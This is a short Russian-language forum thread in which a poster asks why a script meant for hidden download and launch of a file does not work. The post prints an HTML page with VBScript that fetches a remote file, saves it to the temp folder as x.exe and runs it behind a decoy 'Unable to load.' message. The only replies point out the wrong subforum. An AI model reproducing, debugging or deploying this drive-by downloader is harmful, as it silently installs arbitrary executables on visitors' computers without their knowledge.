|
|
|
Не работает скрипт(
|
|||
|---|---|---|---|
|
#18+
Народ подскажите почему не срабатывает скрипт? По идее должна быть скрытое скачивание файла и его запуск. Код: <html> <body> <script type="text/vbscript"> Function SimpleBinaryToString(Binary) Dim I, S For I = 1 To LenB(Binary) S = S & Chr(AscB(MidB(Binary, I, 1))) Next SimpleBinaryToString = S End Function Sub dl(url, dst) dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP") dim method: method = Chr(71) & Chr(69) & Chr(84) xmlhttp.Open method, url, False xmlhttp.Send Dim i, objFile Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True ) objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody)) objFile.Close() set xmlhttp = nothing set objFile = nothing End Sub dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe" dim url url = "URLTOFILE" dl url, dst CreateObject("WScript.Shell").Run dst </script> <p>Unable to load.</p> </body> </html> ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 18.10.2015, 17:39 |
|
||
|
Не работает скрипт(
|
|||
|---|---|---|---|
|
#18+
это топик по JAVA ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 18.10.2015, 19:12 |
|
||
|
Не работает скрипт(
|
|||
|---|---|---|---|
|
#18+
вадя, ну а я куда написал. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 18.10.2015, 19:25 |
|
||
|
|
start [/forum/topic.php?fid=59&fpage=115&tid=2124811]: |
0ms |
get settings: |
7ms |
get forum list: |
10ms |
check forum access: |
2ms |
check topic access: |
2ms |
track hit: |
25ms |
get topic data: |
7ms |
get forum data: |
2ms |
get page messages: |
26ms |
get tp. blocked users: |
1ms |
| others: | 249ms |
| total: | 331ms |
| 0 / 0 |
